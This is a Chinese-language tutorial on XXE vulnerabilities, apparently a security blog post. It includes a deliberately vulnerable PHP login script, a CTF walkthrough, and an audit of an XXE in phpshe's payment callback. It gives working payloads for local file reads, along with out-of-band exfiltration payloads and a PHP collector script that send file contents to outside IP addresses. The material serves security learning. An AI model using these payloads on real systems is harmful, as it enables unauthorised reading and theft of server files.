在网络安全领域,XML外部实体(XXE)漏洞因其隐蔽性和危害性而备受关注。随着企业对XML技术的广泛应用,XXE漏洞也逐渐成为攻击者们利用的重点目标。一个看似无害的XML文件,可能成为攻击者入侵系统的利器。因此,理解XXE漏洞的原理,并掌握其复现与代码审计技巧,对于提升系统安全性至关重要。
本文将深入剖析XXE漏洞的工作原理,展示如何在实际环境中复现该漏洞,并提供详尽的代码审计方法。无论您是网络安全初学者,还是资深开发者,都能从中获得实用的知识和技能。让我们一起解密XXE漏洞,提升我们的安全防护能力。
-
基本原理
- XML 文档可以包含实体 (Entity),实体可以是内部的(定义在文档内部)或外部的(引用外部资源)。外部实体通常用于在 XML 文档中包含外部数据。如果 XML 解析器允许解析外部实体,那么攻击者可以利用这一点来执行恶意操作。
-
XXE发现
-
XXE~payload
-
读取文件
-
<?xml version="1.0"?> <!DOCTYPE Mikasa [ <!ENTITY test SYSTEM "file:///d:/e.txt"> ]> <user> <username>&test;</username> <password>Mikasa</password> </user>
-
-
带外测试
-
<?xml version="1.0"?> <!DOCTYPE test [ <!ENTITY % file SYSTEM "http://7drrcs.dnslog.cn"> %file; ]> <user> <username>&send;</username> <password>Mikasa</password> </user>
-
-
引用外部实体dtd
-
<?xml version="1.0" ?> <!DOCTYPE test [ <!ENTITY % file SYSTEM "http://127.0.0.1/evil2.dtd"> %file; ]> <user><username>&send;</username><password>Mikasa</password></user> ----------------------------------------------------------------------------- evil2.dtd <!ENTITY send SYSTEM "file:///d:/1/1.txt">
-
-
无回显读文件-带外
-
<?xml version="1.0"?> <!DOCTYPE ANY [ <!ENTITY % file SYSTEM "file:///d:/e.txt"> <!ENTITY % remote SYSTEM "http://47.94.236.117/test.dtd"> %remote; %all; ]> <root>&send;</root> ------------------------------------------------------------------------------- 服务端 test.dtd <!ENTITY % all "<!ENTITY send SYSTEM 'http://47.94.236.117/get.php?file=%file;'>"> get.php <?php $data = $_GET['file']; $myfile = fopen("file.txt", "w+"); fwrite($myfile, $data); fclose($myfile); ?>
-
-
-
复现
-
**复现文件:**php_xxe.zip
-
读取文件
-
源码
-
doLogin.php <?php $USERNAME = 'admin'; //账号 $PASSWORD = 'admin'; //密码 $result = null; libxml_disable_entity_loader(false); $xmlfile = file_get_contents('php://input'); try{ $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom($dom); $username = $creds->username; $password = $creds->password; if($username == $USERNAME && $password == $PASSWORD){ $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username); }else{ $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username); } }catch(Exception $e){ $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage()); } header('Content-Type: text/html; charset=utf-8'); echo $result; ?>
-
-
捉取登录框的数据包,替换数据包内容即可
-
-
带外测试
-
源码
<?php $USERNAME = 'admin'; //账号 $PASSWORD = 'admin'; //密码 $result = null; libxml_disable_entity_loader(false); $xmlfile = file_get_contents('php://input'); try{ $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom($dom); $username = $creds->username; $password = $creds->password; if($username == $USERNAME && $password == $PASSWORD){ //$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username); }else{ //$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username); } }catch(Exception $e){ $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage()); } header('Content-Type: text/html; charset=utf-8'); echo $result; ?>
-
捉取数据包,替换其内容即可
-
-
外部实体引用
-
源码同上
-
本地有一个dtd文件,evil2.dtd,内容为 <!ENTITY send SYSTEM "file:///d:/1/1.txt">
-
捉包,改包来引用他
-
-
无回显带外
-
源码
<?php $USERNAME = 'admin'; //账号 $PASSWORD = 'admin'; //密码 $result = null; libxml_disable_entity_loader(false); $xmlfile = file_get_contents('php://input'); try{ $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom($dom); $username = $creds->username; $password = $creds->password; if($username == $USERNAME && $password == $PASSWORD){ //$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username); }else{ //$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username); } }catch(Exception $e){ $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage()); } header('Content-Type: text/html; charset=utf-8'); echo $result; ?>
-
在服务端部署evil2.dtd,和get.php
-
<?xml version="1.0"?> <!DOCTYPE ANY[ <!ENTITY % file SYSTEM "file:///d:/1/1.txt"> <!ENTITY % remote SYSTEM "http://43.139.186.80/evil2.dtd"> %remote; %all; ]> <root>&send;</root> --------------------------------------------- 服务端 evil2.dtd <!ENTITY % all "<!ENTITY send SYSTEM 'http://43.139.186.80/get.php?file=%file;'>"> get.php <?php $data = $_GET['file']; $myfile = fopen("file.txt", "w+"); fwrite($myfile, $data); fclose($myfile); ?>
-
-
捉包替换数据包内容将1.txt的内容带到服务端
-
-
CTF赛题
-
前端代码
-
靶场地址:http://web.jarvisoj.com:9882/ <html> <head> <link href="//cdnjs.cloudflare.com/ajax/libs/x-editable/1.5.0/bootstrap3-editable/css/bootstrap-editable.css" rel="stylesheet"/> <script src="//cdnjs.cloudflare.com/ajax/libs/x-editable/1.5.0/bootstrap3-editable/js/bootstrap-editable.min.js"></script> </head> <body> <div class="show"> <textarea id="tip-area" width=100px height=50px disabled></textarea> </div> <div class="control-area"> <input id="evil-input" type="text" width=100px height=50px value="type sth!"/> <button class="btn btn-default" type="button" onclick="send()">Go!</button> </div> <script> function XHR() { var xhr; try {xhr = new XMLHttpRequest();} catch(e) { var IEXHRVers =["Msxml3.XMLHTTP","Msxml2.XMLHTTP","Microsoft.XMLHTTP"]; for (var i=0,len=IEXHRVers.length;i< len;i++) { try {xhr = new ActiveXObject(IEXHRVers[i]);} catch(e) {continue;} } } return xhr; } function send(){ evil_input = document.getElementById("evil-input").value; var xhr = XHR(); xhr.open("post","/api/v1.0/try",true); xhr.onreadystatechange = function () { if (xhr.readyState==4 && xhr.status==201) { data = JSON.parse(xhr.responseText); tip_area = document.getElementById("tip-area"); tip_area.value = data.task.search+data.task.value; } }; xhr.setRequestHeader("Content-Type","application/json"); xhr.send('{"search":"'+evil_input+'","value":"own"}'); } </script> </body> </html> //可以看到XMLHttpRequest,猜测存在xxe漏洞·
-
-
捉取数据包并修改内容和类型
POST /api/v1.0/try HTTP/1.1 Host: web.jarvisoj.com:9882 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: */* Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/xml;charset=utf-8 Referer: http://web.jarvisoj.com:9882/ Content-Length: 108 DNT: 1 Connection: close <?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "file:///home/ctf/flag.txt"> ]> <x>&f;</x>
-
-
-
代码审计流程
-
源码链接:https://pan.baidu.com/s/15O6Hf2tM90T3ZEp9E2x_Ew?pwd=cong
-
过程
-
首先放入审计系统
-
搜索可疑xxe函数simplexml_load_string
-
看到敏感可疑函数,最终pe_getxml函数的调用
-
最终到wechat_getxml,继续全局搜索最终
-
最后追踪到这个路径D:\phpstudy_pro\WWW\phpshe\include\plugin\payment\wechat\notify_url.php
-
在网站上访问并测试是否存在漏洞
-
发现xxe漏洞,因为通过源码发现他的返回结果是固定的,所以利用无回显文件外带即可任意读取
-
通过本次学习,我们不仅深入了解了XXE漏洞的原理,还掌握了复现该漏洞的具体步骤和代码审计的方法。安全防护不仅是技术问题,更是一种意识和态度。通过对XXE漏洞的全面剖析,我们能够更好地识别和修复潜在的安全风险,从而保护我们的系统和数据安全。
在信息安全的道路上,没有终点。希望本文能为您在安全防护方面提供有价值的指导和帮助,激发您对网络安全的持续关注和兴趣。让我们共同努力,构建一个更为安全的网络环境。如果您有任何疑问或宝贵的建议,欢迎在评论区与我们互动。感谢您的阅读,期待您的反馈与分享!